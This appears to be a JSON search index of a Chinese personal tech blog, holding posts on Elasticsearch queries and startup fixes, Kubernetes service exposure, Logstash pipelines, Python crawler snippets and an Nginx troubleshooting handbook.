\u0026#34;1568649599999\u0026#34;, \u0026#34;format\u0026#34;: \u0026#34;epoch_millis\u0026#34; } } }, { \u0026#34;query_string\u0026#34;: { \u0026#34;analyze_wildcard\u0026#34;: true, \u0026#34;query\u0026#34;: \u0026#34;kafka.topic.name:appjoox and metricset.name : \\\u0026#34;consumergroup partition\\\u0026#34;\u0026#34; } } ] } }, \u0026#34;aggs\u0026#34;: { \u0026#34;2\u0026#34;: { \u0026#34;date_histogram\u0026#34;: { \u0026#34;interval\u0026#34;: \u0026#34;1m\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;@timestamp\u0026#34;, \u0026#34;min_doc_count\u0026#34;: 0, \u0026#34;extended_bounds\u0026#34;: { \u0026#34;min\u0026#34;: \u0026#34;1568563200000\u0026#34;, \u0026#34;max\u0026#34;: \u0026#34;1568649599999\u0026#34; }, \u0026#34;format\u0026#34;: \u0026#34;epoch_millis\u0026#34; }, \u0026#34;aggs\u0026#34;: { \u0026#34;3\u0026#34;: { \u0026#34;max\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;kafka.partition.offset.newest\u0026#34; } }, \u0026#34;4\u0026#34;: { \u0026#34;max\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;kafka.consumergroup.offset\u0026#34; } }, \u0026#34;7\u0026#34;:{ \u0026#34;bucket_script\u0026#34;: { \u0026#34;buckets_path\u0026#34;: { \u0026#34;w_offset\u0026#34;: \u0026#34;3\u0026#34;, \u0026#34;r_offset\u0026#34;: \u0026#34;4\u0026#34; }, \u0026#34;script\u0026#34;: \u0026#34;params.w_offset - params.r_offset\u0026#34; } } } } } } iK的中文索引 使用 ik插件来提升中文搜索的体验，解决分词不准确的问题。\ncurl -XPOST http://localhost:9200/index/_mapping -H \u0026#39;Content-Type:application/json\u0026#39; -d\u0026#39; { \u0026#34;properties\u0026#34;: { \u0026#34;content\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;analyzer\u0026#34;: \u0026#34;ik_max_word\u0026#34;, \u0026#34;search_analyzer\u0026#34;: \u0026#34;ik_smart\u0026#34; } } }\u0026#39; ","date":"2019-09-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-21-es-%E6%90%9C%E7%B4%A2%E6%8A%80%E5%B7%A7/","tags":["elasticsearch","elk"],"title":"ES 常用搜索收集"},{"categories":["op之路"],"contents":"在 K8S 上部署的服务，由于性能的问题，需要从主动的数据拉去，成为被动的端口暴露。 所以怎么暴露端口就是成了一个问题。 和之前使用的swarm的不同，k8s的层次分离的更细一些。不过网络这一部分都是依托在service的层次之上\n通过service进行端口的暴露 K8S中，是通过service 这一层次进行网络控制的。可以理解为这个是容器网络和主机之间共有的中间层。 通过service 可以将容器pod的端口暴露在 容器网络内部，或者主机网络。\n这里的配置和说明，主要目的是暴露在主机网络上，（实际上容器网络的暴露方法类似）。 这里直接贴出来配置：\nkind: Service apiVersion: v1 metadata: name: logstash-app-fb namespace: default spec: type: NodePort ports: - port: 7001 # 容器网络的端口 targetPort: 5045 # 容器内部的端口 nodePort: 17001 # 主机网络的端口 selector: app: logstash-app-fb # 关键的selector 通过配置的里的注释可以直接看到，这里有几个关键的配置。关于三个端口就不多讲了，需要进行一一的对应，5045需要和容器的开放的端口一致，7001 是在容器网络内部开放的端口（他的使用在后面会写上），nodePort就是我们的主机网络中需要进行暴露的端口了（也就是直接使用物理节点的IPport可以进行访问的）\n这里最为关键部分，就是这里的selector，作为选择器，他决定了哪些deployment会被加入这个网络。在这里例子里，所有的metadata中app和 logstash-app-fb 一致的部署，将会被加入这个网络。metadata 配置如下：\nmetadata: name: logstash-app-fb namespace: default labels: app: logstash-app-fb 一旦加入网络之后，所有的请求会被k8s的内部的调度器根据配置的策略来进行负载的均衡。\n这样的好处： 这里引用官方的文档中的话，具体的网络，单大意如下：\n在这种微服务的架构下，不要希望容器是稳定的，因为他可能随时因为异常而退出，但是加入了service这一个层次，可以把容器抽象为一个服务。这个服务对外来说是稳定的。\n通过 servicename 来进行内部网络访问 有了上面的那句话的思想，实际上可以推导出来，在k8s的内部网络中，其访问的单元也应该是大于单个容器的。 以上述的配置为例，暴露的7001的端口，就是k8s网络中的内部端口。\nk8s有自己的名字服务，管理着所有的注册的service的IP。所以，我们可以直接使用 servicename:port 来对我们的服务进行k8s网络内的访问，很大的简化了各个模块之间的调用。在容器内部使用 bash 执行，示例：\nbash-4.2$ curl -v logstash-app-fb:7001 * About to connect() to logstash-app-fb port 7001 (#0) * Trying 10.97.93.0... * Connected to logstash-app-fb (10.97.93.0) port 7001 (#0) \u0026gt; GET / HTTP/1.1 \u0026gt; User-Agent: curl/7.29.0 \u0026gt; Host: logstash-app-fb:7001 \u0026gt; Accept: */* \u0026gt; * Recv failure: Connection reset by peer * Closing connection 0 curl: (56) Recv failure: Connection reset by peer 可见，其端口在容器网络内部，是之间可以通过service来进行访问的。\n","date":"2019-09-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-21-kubernetes-%E4%B8%BB%E6%9C%BA%E7%AB%AF%E5%8F%A3%E6%9A%B4%E9%9C%B2%E4%BB%A5%E5%8F%8A%E5%86%85%E9%83%A8%E8%AE%BF%E9%97%AE/","tags":["k8s","logstash","network"],"title":"Kubernetes 主机端口暴露以及内部访问"},{"categories":["dev"],"contents":"说实话，这个是一个很惊喜的发现，完完全全新大陆的级别，找到个随随便便挂页面的地方了。\n自己一直想着，找个时间试试给测试的 OpenAPI写个前端以供调用。 今天突发奇想，想着在页面里面加个\u0026lt;script\u0026gt;怎么样。结果神奇的发现，它真的被解析且可以执行。\n不知道会不会因为这点导致安全问题，比如存储型的XXS攻击之类。\n不过用着的确爽。具体的例子可以看测试页面\nOpenAPI测试页面\n或者下面这个：\nClick Me\nEOF\n","date":"2019-09-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-21-wp%E9%A1%B5%E9%9D%A2%E6%94%AF%E6%8C%81%E8%87%AA%E5%AE%9A%E4%B9%89html%E5%8F%8Ajs/","tags":["dev","web"],"title":"WP页面支持自定义html及JS"},{"categories":null,"contents":"这会是一个小软件，不知道会不会很好用，或者被用到。 在平时的工作中，专注于某件事情的时候，很有可能被其他事情“中断”， 不得不挂起， 所以来个小软件，保留当前的桌面状态（截图），在完成之后就可以弹出来，快速回想所做的事情了吧？\n","date":"2019-09-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-19-%E5%B7%A5%E4%BD%9C%E6%A0%88%E7%9A%84%E6%9E%84%E6%80%9D/","tags":null,"title":"工作栈的构思"},{"categories":["dev"],"contents":"X真正的去做一个东西出来，难免会踩不少坑。 有问题不可怕，记下来，解决它。\n先mark一下自己的小成果吧，成绩还不错，差不多两天的时间，从平地起了个小房屋。\nhttps://search.12ms.xyz/v2\n名字没想好，既然是专门搜博客的，就先称之为博搜了。虽然名字不好听。 这一篇博文主要是记录在开发过程中的遇到的各种坑坑洼洼坎坎坷坷。以及一些小技巧，日后的话可以快速的用起来。\n文本处理类的 这一部分写和文本相关的一些问题和技巧\n提取repr(e)的错误信息 由于RSS的格式各部一样，所以在解析过程中很容易出现AttrError，所以想提取错误信息自动处理，提取也就是第一步，内容是使用 ' ' 单引号扩起来的，所以很容易联想到使用正则来提取数据。\nerr_item = re.compile(\u0026#34;\u0026#39;(.*)\u0026#39;\u0026#34;).findall(repr(e))[0] 去除字符串中的html标签 由于需要录入feed的信息，但是如果有html的标签在的话，在页面上显示出来仰望着被解析，导致页面混乱。所以需要去掉字符串中的html标签，一样使用正则。\npure_str = re.compile(r\u0026#39;\u0026lt;[^\u0026gt;]+\u0026gt;\u0026#39;,re.S).sub(\u0026#39;\u0026#39;,html_str) 爬虫 自己手动收集rss的速度太慢了，那就自动化吧，来上一个爬虫。\n请求头伪装 里面很重要的一步是请求头伪装，避免一些过滤策略，导致的 4xx\nheaders = { \u0026#39;User-Agent\u0026#39;:\u0026#39;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\u0026#39; } 遇到一个很不错的系列，这里也贴出来：\nhttps://github.com/brandonxiang/example-requests\nes相关内容 这一部分单的的拆出来：\nES 搜索语法收集\n代码片 这里作为代码段整理\nFlask 的restful 捕获 /xxx/* 由于需要设计一个 类restful 的接口，所以这里需要对路由进行通配的捕获，在flask中的修饰头如下：\n@app.route(\u0026#39;/concenter/\u0026#39;, defaults={\u0026#39;path\u0026#39;: \u0026#39;\u0026#39;},methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;, \u0026#39;PUT\u0026#39;, \u0026#39;DELETE\u0026#39;]) @app.route(\u0026#39;/concenter/\u0026#39;,methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;, \u0026#39;PUT\u0026#39;, \u0026#39;DELETE\u0026#39;]) def req_handler(path): 这样就会捕获后面的任意一个URL作为 path 传入。\n参考：https://codeday.me/bug/20180704/187717.html\n多线程 一段漂亮的多线程代码，在批量导入的时候使用的：\nimport queue import threading import time class myThread (threading.Thread): def __init__(self, threadID, name, q): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.q = q def process_data(self, threadName, q): while not exitFlag: queueLock.acquire() if not workQueue.empty(): data = q.get() queueLock.release() rss2es(data) print(\u0026#34;%s processing %s\u0026#34; % (threadName, data)) else: queueLock.release() time.sleep(1) def run(self): print(\u0026#34;Starting \u0026#34; + self.name) self.process_data(self.name, self.q) print(\u0026#34;Exiting \u0026#34; + self.name) exitFlag = 0 if __name__ == \u0026#34;__main__\u0026#34;: queueLock = threading.Lock() workQueue = queue.Queue() threads = [] threadID = 1 # 创建新线程 for tName in threadList: thread = myThread(threadID, tName, workQueue) thread.start() threads.append(thread) threadID += 1 # 填充队列 queueLock.acquire() for word in nameList: workQueue.put(word) queueLock.release() # 等待队列清空 while not workQueue.empty(): pass # 通知线程是时候退出 exitFlag = 1 for t in threads: t.join() print(\u0026#34;Exiting Main Thread\u0026#34;) 使用了queue的队列加锁来实现线程之间的同步。\n获取本机IP import socket try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((\u0026#39;8.8.8.8\u0026#39;, 80)) ip = s.getsockname()[0] finally: s.close() return ip 获取可用IP 的好方法就是去建立一个连接，当然这个只是联机可用。\n问题 python 中的 init.py 当一个 python项目 的扩大，需要进行目录的分化，这里就需要使用到了python 的包，来对项目来进行拆分。\n","date":"2019-09-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-15-%E5%8D%9A%E6%90%9C-%E5%BC%80%E5%8F%91%E6%80%BB%E7%BB%93/","tags":["crawler","elasticsearch","python","snippet"],"title":"博搜?-开发总结"},{"categories":["op之路"],"contents":"因为es是使用的局域网环境，所以就打算直接监听0.0.0.0 这样内网的服务都可以访问到它。 但是在设置network.host: 0.0.0.0 这一参数之后，发现没有9200端口的监听了。\n最后结合着日志和部分现有的方法解决这个问题。遂在这里记下来。\n日志报错 使用之前的默认测试配置应该是对系统的参数是没有要求的，所以可以成功启动。但是修改了监听之后就无法启动了。检查日志：\n[2019-09-14T04:20:51,040][INFO ][o.e.b.BootstrapChecks ] [node-1] bound or publishing to a non-loopback address, enforcing bootstrap checks ERROR: [3] bootstrap checks failed [1]: max file descriptors [4096] for elasticsearch process is too low, increase to at least [65535] [2]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] [3]: the default discovery settings are unsuitable for production use; at least one of [discovery.seed_hosts, discovery.seed_providers, cluster.initial_master_nodes] must be configured 所以很明显有以上三个问题，一一解决即可。\n解决问题 三个问题，三个解决，前面两个很眼熟。\nproblem 1 是在security里设置用户的 最大线程数和最大文件句柄数。使用 ulimit检查了一下没问他，后来才意识到，es是使用user账户运行的。\nulimit -Sn ulimit -Hn ulimit -Su ulimit -Hu 修改配置 /etc/security/limits.conf 里的限制如下：\nrms soft nofile 65536 rms hard nofile 131072 * soft nproc 2048 * hard nproc 4096 至此解决问题1\nproblem 2 配置/etc/sysctl.conf 添加以下内核参数：\nvm.max_map_count=262144 至此解决问题2\nproblem 3 问题3的话，改一下配置文件就好，无需赘述了。至此解决问题3\n踩坑 那么真的就这么顺利吗？显然不是，上面的配置解决了13的问题，但是那该4096是的限制始终我无法改变。使用了root和user的权限来对ulimit来进行确认都没有问题，而且直接使用 rms 遮盖账户进行es的运行也是没有问题。\n所以排除法，问题出在了 supervisor上。检查其配置文件，果真发现了在默认配置里有一行内容：\n;minfds=1024 ; (min. avail startup file descriptors;default 1024) 应该就是这里限制了使用 sp启动的进程的nofile，所以就修改至65536.再次使用supervisor来进行es的进程启动，成功启动。\n","date":"2019-09-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-14-es%E8%AE%BE%E7%BD%AE0-0-0-0%E7%9B%91%E5%90%AC%E6%97%A0%E6%B3%95%E5%90%AF%E5%8A%A8%E7%9A%84%E9%97%AE%E9%A2%98/","tags":["elasticsearch","elk"],"title":"elasticsearch max file descriptors launch failed"},{"categories":["dev"],"contents":"Nginx 的使用过程中的问题集，方便后面查查查\nIP_hash 使用 XFF remotip 是代理服务器的IP，导致IPhash无法保持同一客户端到同一台机器， 所以需要使用客户端的IP，xff来进行IPhash\nmap $http_x_forwarded_for $clientRealIp { \u0026#34;\u0026#34; $remote_addr; ~^(?P\u0026lt;firstAddr\u0026gt;[0-9\\.]+),?.*$ $firstAddr; } upstream tets { hash $clientRealIp; server 127.0.0.1:81; server 127.0.0.1:82; } HTTP 请求头中的 X-Forwarded-For Nginx配置优化之道 Nginx 陷阱和常见错误\nconfig_pitfalls\n快速生成 htpasswd文件 printf \u0026#34;ttlsa:$(openssl passwd -crypt 123456)\\n\u0026#34; \u0026gt;\u0026gt;conf/htpasswd 禁止特定的rferer的访问 有些自动化请求导致除了一些问题，所以这里就把它给静止掉\nif ($http_referer ~* \u0026#34;www.xxx.com\u0026#34;) { return 403; } 直接使用正则来对 referer的头来进行匹配，匹配项返回403\n允许跨域请求 api 的请求不被允许跨域的时候，下面给出一个可以进行域名通配的方法，比*的策略好上不少\nif ($http_origin ~ [a-z]+\\.12ms\\.xyz$){ # xxx.12ms.xyz域名才可以访问 add_header Access-Control-Allow-Origin $http_origin; add_header Access-Control-Request-Method GET; } 同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。\nwss 连接返回 400 在对应的 proxy_pass 下添加，配置：\nproxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; 由于websocket不同于http的单次请求，所以在nginx内有以上特殊配置。\nhttp://nginx.org/en/docs/http/websocket.html\nProxy 请求头丢失 重新设置Authorization请求头：\nproxy_set_header Authorization $http_authorization; 在nginx 配置中proxy导致请求头的丢失，\n默认情况，NGINX在代理请求时会重新定义两个HTTP头字段，“Host”和“Connection”，并删除值为空的头部字段。“Host”会被设置为 $proxy_host变量的值，“Connection”被设置为close。\nnet::ERR_SPDY_PROTOCOL_ERROR 如果配置了Http2 和 proxy_pass 的情况就需要关注一下这个问题： 在proxy前面指定 http 的版本：\nproxy_http_version 1.1; 在 nginx 可以使用http2 ，但是proxy到后端的机器不一定支持 http2 的协议，所以两端的协议不对等导致http的连接的建立失败。 使用如上配置强制指定即可\nnet::ERR_CONTENT_LENGTH_MISMATCH nginx的缓存目录的权限的问题，修正目录权限\nchown -R user:user nginx/proxy_temp 整体的访问没有问题的，但是在单个大的页面（如sitemap）进行加载的时候，加载时间会非常的久， load的时间甚至长达6sec。且有机率出现 net::ERR_CONTENT_LENGTH_MISMATCH 的错误，整个页面无法访问\n这个问题直接去check了日志，其中有一条error：\n2019/08/25 09:59:52 [crit] 24677#0: *1 open() \u0026ldquo;/usr/local/nginx/tmp/proxy/1/00/0000000001\u0026rdquo; failed (13: Permission denied) while reading upstream, client: 182.148.107.206, server: 127.0.0.1, request: \u0026ldquo;GET /notebook/new HTTP/1.1\u0026rdquo;, upstream: \u0026ldquo;http://127.0.0.1:10081/new\u0026rdquo;,\n所以是权限问题，检查目录权限，tmp的owner是 root:root 而nginx 的进程的权限是其他用户所以在请求的时候去抓取缓存文件没有权限。\n指定 对指定的 UA 来进行屏蔽\nif ($http_tencent_leakscan ~* \u0026#34;Tencent_Security_Team\u0026#34; ) { return 403; } if ($http_user_agent ~* \u0026#34;Tencent_Security_Team\u0026#34; ) { return 403; } ","date":"2019-09-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/09/2019-09-13-nginx-%E9%97%AE%E9%A2%98%E9%80%9F%E6%9F%A5%E6%89%8B%E5%86%8C/","tags":["nginx"],"title":"Nginx 问题速查手册"},{"categories":["op之路"],"contents":"这篇算是一个自己的实践贴，虽然都可以看到有现成的方案。但是其中有一些坑，还是自己得记下来。\n缘起 自己后面有想做一个和检索相关的小站点，所以就现在开始倒腾数据。 看起来是一个 select * from 就能解决的问题，但是考虑到实际情况这就有问题了。 所以这里用上了elasticsearch，作为一个全文搜索的引擎。\n这次的目的，就是把mysql 的数据导入到e 送中去。\n过程 导入过程需要logstash来进行，使用jdbc的插件，对数据库进行查询后直接output到es集群。 先给ls来安装插件：\n./logstash-plugin install logstash-input-jdbc 这部分很快可以搞定，直接会拉取在线安装\n在java连接数据库需要使用到connect的驱动。所以这一步需要准备mysql的驱动。这里有个坑，在文章后面会写。这里就直接使用 mysql-connector-java-8.0.14.jar 就好了，驱动可以直接在官方上下到。 由于自己使用的是mariaDB10 ，所以需要使用8的版本，如果是mysql5可以使用5版本。而且需要注意的是：jdbc_driver_class 这个配置项，在mysql8下已经变成了：com.mysql.cj.jdbc.Driver 如果指定之前的com.mysql.jdbc.Driver会出现：cannot be loaded的错误。\n上面的都准备好之后，就开始写导入过程的pipeline，这里直接给出来：\ninput { jdbc { jdbc_connection_string =\u0026gt; \u0026#34;jdbc:mysql://mysql:3307/mydb\u0026#34; jdbc_user =\u0026gt; \u0026#34;root\u0026#34; jdbc_password =\u0026gt; \u0026#34;password\u0026#34; jdbc_driver_library =\u0026gt; \u0026#34;/usr/local/logstash/config/mysql-connector-java-8.0.14.jar\u0026#34; jdbc_driver_class =\u0026gt; \u0026#34;com.mysql.cj.jdbc.Driver\u0026#34; jdbc_paging_enabled =\u0026gt; \u0026#34;true\u0026#34; jdbc_page_size =\u0026gt; \u0026#34;50000\u0026#34; jdbc_default_timezone =\u0026gt; \u0026#34;Asia/Shanghai\u0026#34; statement_filepath =\u0026gt; \u0026#34;select * from test_table\u0026#34; # 查询的语句 schedule =\u0026gt; \u0026#34;* * * * *\u0026#34; # 每分钟一次 type =\u0026gt; \u0026#34;jdbc\u0026#34; } } output { elasticsearch { hosts =\u0026gt; \u0026#34;es1:9200\u0026#34; index =\u0026gt; \u0026#34;mysql_test\u0026#34; } } 有了 pipeline之后，直接运行logstash：\n./bin/logstash -f ./pipeline/mysql.conf 然后就开始导入，导入完成之后就可以体验es带来的全文搜索的快感了。\n遇到的问题 这里的驱动只能使用openjdk1.8 的版本来运行。由于之前使用的是最新的java12，发现无论怎么修改配置，都会报错类无法被加载的问题。\n","date":"2019-08-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-25-mysql-%E6%95%B0%E6%8D%AE%E5%AF%BC%E5%85%A5-es/","tags":["elk","logstash"],"title":"Mysql 数据导入 ES"},{"categories":["dev"],"contents":"logstash的filter需要大量的规则来对输入的数据进行大量if操作，这篇文章来写写，怎么把冗余的配置变得稍稍优雅一点。\n缘起 为什么想到优化配置呢？因为业务的上报的需要，每个上报的ID其对应的字段都不同。 所以根据官方的给出的示例配置（如下），\nfilter { grok { match =\u0026gt; { \u0026#34;message\u0026#34; =\u0026gt; \u0026#34;%{COMBINEDAPACHELOG}\u0026#34;} } geoip { source =\u0026gt; \u0026#34;clientip\u0026#34; } } 就推导出来这样看起来合理的配置：\nif \u0026#34;xxxx,\u0026#34; in [message] { ruby { init =\u0026gt; \u0026#34;@kname = [\u0026#39;logid\u0026#39;, \u0026#39;protocol_version\u0026#39;.....\u0026#39;]\u0026#34; code =\u0026gt; \u0026#34; v = Hash[@kname.zip(event.get(\u0026#39;message\u0026#39;).split(\u0026#39;,\u0026#39;))] new_event = LogStash::Event.new(v) new_event.remove(\u0026#39;@timestamp\u0026#39;) event.append(new_event) \u0026#34; } date { match =\u0026gt; [\u0026#34;reported_time\u0026#34;,\u0026#34;yyyy-MM-dd HH:mm:ss,SSS\u0026#34;,\u0026#34;UNIX\u0026#34;] target =\u0026gt; \u0026#34;@timestamp_app\u0026#34; } } ... * N 在这种情况下，一个ID需要一个这样的配置段，那么如果有几百甚至上千个ID，那么配置文件的规模将会极为庞大。\n关键是，在这种fliter 的配置下，整个的logstash的启动速度是非常的缓慢。如果到达来几百个if的话，启动时间，将会耗费40分钟甚至启动失败。\n所以，就开始寻找问题，并进行解决。\n一次尝试 Grok Grok作为logstash里面的一个正则组件，使用的是比较多的。为什么这里想到grok呢？ 因为主要的目标，是将这种冗余的配置给整体化，也就是变成一整块，这样的话家在和启动速度将会有很大的提高。\n在grok里面有一个功能PatternDir可以在一个文件里写好正则的别名，然后使用它的别名来控制将使用的正则表达式。内容差不多如下：\nfilter { grok { match =\u0026gt; { patterns_dir =\u0026gt; [\u0026#34;/opt/logstash/patterns\u0026#34;] \u0026#34;message\u0026#34; =\u0026gt; \u0026#34;Duration: %{NUMBER:duration}\u0026#34; } } } 这里的NUMBER就是一个定义好了的正则。当执行这句的时候，会取回这个NUMBER对应的正则，对当前的内容进行匹配。\n所以，根据这个思路，就有了这样的思路：\nmatch =\u0026gt; { patterns_dir =\u0026gt; [\u0026#34;/opt/logstash/patterns\u0026#34;] \u0026#34;message\u0026#34; =\u0026gt; \u0026#34;%{type}\u0026#34; } 希望使用type这个字段来自动的到文件中去寻找对应的正则表达式。然而问题在于：在这个message 的匹配项中，根本就不支持变量这个东西，也就是说，他会去寻找别名为%{type}的正则表达式，而不会去找其值对应的。\n所以就继续想办法，由于类似的情景比较少，所以最终只能求助（外部势力）？？，在stackover flow 上找到了答案：\nfilter { grok { match =\u0026gt; { \u0026#34;message\u0026#34; =\u0026gt; [ \u0026#34;TYPE1,%{WORD:a1},%{WORD:a2},%{WORD:a3},%{POSINT:a4}\u0026#34;, \u0026#34;TYPE2,%{WORD:b1},%{WORD:b2},%{WORD:b3},%{WORD:b4}\u0026#34;, \u0026#34;TYPE3,%{POSINT:c1},%{WORD:c2},%{POSINT:c3},%{WORD:c4}\u0026#34; ] } } } 对，虽然这种方式没有放在文件夹里面，但是一样可以使用type来进行统一的管理。 所以就跟就这样的方式来写好来一个正则的array。\n然后，试着直接使用filebeat提交了几个数据，发现好使！于是就满怀激动的就接上了日志的输入。 然后问题就来了，CPU直接跑满，而且出现大量的正则超时。\n查看了原因，grok的match默认是从第一项开始匹配，如果只有几项这种方法完全可以，但是一旦数目多了，就极度的耗费资源，因为正则本身也蛮累的。所以又得改。。\n最终方案 没得办法，最后只能自己想办法。从需求出发，需要达到字段匹配的目的。那么使用id来找到对应的字段这个映射模式第一下就想到了字典。\nlogstash 本身对ruby 语声称是100%的兼容，所以，就给了很大的空间。 ls里面的 ruby段内有两层：init， code分别是 初始化时候执行一次，和每次事件都执行一遍。\nfilter { ruby { init =\u0026gt; \u0026#34; H = Hash[ \u0026#39;id1\u0026#39; =\u0026gt; [\u0026#39;logid\u0026#39;, \u0026#39;protocol_version\u0026#39;,xxxx], \u0026#39;id2\u0026#39; =\u0026gt; [\u0026#39;logid\u0026#39;, \u0026#39;protocol_version\u0026#39;,xxxx\u0026#39;], \u0026#34; } ... ruby { code =\u0026gt; \u0026#34; v = Hash[H[event.get(\u0026#39;message\u0026#39;).split(\u0026#39;,\u0026#39;).at(0)].zip(event.get(\u0026#39;message\u0026#39;).split(\u0026#39;,\u0026#39;))] new_event = LogStash::Event.new(v) new_event.remove(\u0026#39;@timestamp\u0026#39;) event.append(new_event) \u0026#34; } ... } 用了map的方式，把几百次的if操作，变成了查表，使得启动时间有了从40分钟到40秒的优化。\n后 现在发现，很多东西不想以前一样了，他有，你拿来用就行了，真正到了专业的领域， 变成了他没有，你得实现。所以得靠自己的一点点的经验积累才行。\n","date":"2019-08-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-24-logstash-%E7%9A%84%E4%BC%98%E9%9B%85%E7%9A%84filter-%E5%A4%84%E7%90%86%E5%A4%A7%E5%A0%86%E7%9A%84if%E7%9A%84%E6%96%B9%E6%A1%88/","tags":["elk","logstash"],"title":"Logstash 的优雅的filter----处理大堆的if的方案"},{"categories":["dev"],"contents":"这一篇主要收集k8s使用过程中的一些小技巧\npod获取主机的信息 怎么在把主机的信息传给pod里面呢？第一直觉就是环境变量，也的确是这样。\nenv: - name: \u0026#34;HTTP_HOST\u0026#34; valueFrom: fieldRef: fieldPath: status.podIP 可以通过环境变量，和yaml的配置来直接传值\n怎么保证多个副本的命名不同 和上面的思路相似，这里可以在metadata里面来获取pod的名字，直接作为环境变量传入容器内， 这样进行的配置，各个节点的命名就各自不同啦。\nenv: - name: \u0026#34;NODE_NAME\u0026#34; valueFrom: fieldRef: fieldPath: metadata.name 容器内部的时间 在有些 镜像的打包过程中时区不一样，所以导致在运行的时候，容器的时区和物理主机的时区不相同。 为了解决这个问题，就直接把本机的时区配置挂载到里面就可以啦。 在容器的后面的挂载卷配置：\nvolumeMounts: - name: timezone mountPath: /etc/localtime volumes: - name: timezone hostPath: path: /usr/share/zoneinfo/Asia/Shanghai ","date":"2019-08-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-17-tricks-in-k8s/","tags":["docker","k8s","ops"],"title":"Tricks in k8s"},{"categories":["dev"],"contents":"前段时间就瞅中了Kubernetes，现在有机会用上那么一两下。这篇文章主要就是记载K8S的一个标标准准的使用过程，\n标准化 其实现在发现自己是越来越喜欢标准化的东西来，使用默认的端口，使用默认的路径。 因为自己的无意修改，提升了熵，提升了复杂度。那么就需要付出额外的努力来使得熵降低（也就是维护自己所修改的那么一两个地方）\n所以，这里使用k8s进行服务部署的思想，主要就是标准。标准也是自动化的前提。\n所以这里使用了logstash的官方镜像使用差异化配置来进行功能的区分。对于这些无状态的组件是十分好用和方便的。 直接使用一个yaml文件，就可以进行快速的部署。在控制台也可以进行统一的管理。\n配置文件 示例的配置文件在：项目地址，这个项目的内容便是使用yaml来进行logstash的节点的快速搭建。\n配置文件分为两个 部分。Deployment和configmap。Deployment是之前的swarm里的service的一部分。用于说明容器属性，环境变量等等。 service在k8s中 被独立了出来，用于进行一个deployment的端口的统一的管理。示例的yaml文件如下\n--- kind: ConfigMap apiVersion: v1 metadata: name: logstash-xxx namespace: test data: logstash-config-named-k8s: | input { kafka { codec =\u0026gt; \u0026#34;json\u0026#34; bootstrap_servers =\u0026gt; \u0026#34;192.168.240.61:9092\u0026#34; topics =\u0026gt; \u0026#34;named\u0026#34; group_id =\u0026gt; \u0026#34;logstash-named-qa-k8s-topic\u0026#34; consumer_threads =\u0026gt; 3 } } filter { grok { match =\u0026gt; [\u0026#34;message\u0026#34;, \u0026#34;(?\u0026lt;timestamp\u0026gt;%{MONTHDAY}-%{MONTH}-%{YEAR} %{TIME}) queries: client %{IPV4:c_ip}#%{NUMBER:c_port}: query: %{NOTSPACE:queryrec} %{NOTSPACE:dnsclass} %{NOTSPACE:dnstype} \\+ \\(%{IPV4:dnsbind}\\)\u0026#34;] } } output { #stdout { codec =\u0026gt; rubydebug } elasticsearch { hosts =\u0026gt; [\u0026#34;192.168.36.145:29200\u0026#34;] index =\u0026gt; \u0026#34;logstash-kafka-named-%{+YYYY.MM.dd}\u0026#34; } } --- apiVersion: apps/v1 kind: Deployment metadata: name: logstash-xxx namespace: test labels: app: logstash-test spec: serviceName: logstash-xxx replicas: 4 selector: matchLabels: app: logstash-test template: metadata: labels: app: logstash-test spec: containers: - name: logstash-xxx image: docker.elastic.co/logstash/logstash:6.8.1 env: - name: \u0026#34;NODE_NAME\u0026#34; valueFrom: fieldRef: fieldPath: metadata.name - name: \u0026#34;LS_JAVA_OPTS\u0026#34; value: \u0026#34;-Xmx5g -Xms5g -XX:ParallelGCThreads=8\u0026#34; - name: \u0026#34;XPACK_MONITORING_ENABLED\u0026#34; value: \u0026#34;true\u0026#34; - name: \u0026#34;XPACK_MONITORING_ELASTICSEARCH_HOSTS\u0026#34; value: \u0026#34;xxx\u0026#34; - name: \u0026#34;PIPELINE_WORKERS\u0026#34; value: \u0026#34;24\u0026#34; - name: \u0026#34;PIPELINE_OUTPUT_WORKERS\u0026#34; value: \u0026#34;24\u0026#34; - name: \u0026#34;PIPELINE_BATCH_SIZE\u0026#34; value: \u0026#34;1024\u0026#34; - name: \u0026#34;PIPELINE_BATCH_DELAY\u0026#34; value: \u0026#34;5\u0026#34; - name: \u0026#34;CONFIG_RELOAD_AUTOMATIC\u0026#34; value: \u0026#34;true\u0026#34; - name: \u0026#34;CONFIG_RELOAD_INTERVAL\u0026#34; value: \u0026#34;60\u0026#34; - name: \u0026#34;HTTP_HOST\u0026#34; valueFrom: fieldRef: fieldPath: status.podIP volumeMounts: - name: vm-config mountPath: /usr/share/logstash/pipeline volumes: - name: vm-config configMap: name: logstash-xxx items: - key: logstash-config-named-k8s path: indexer-kafka-named-k8s.conf 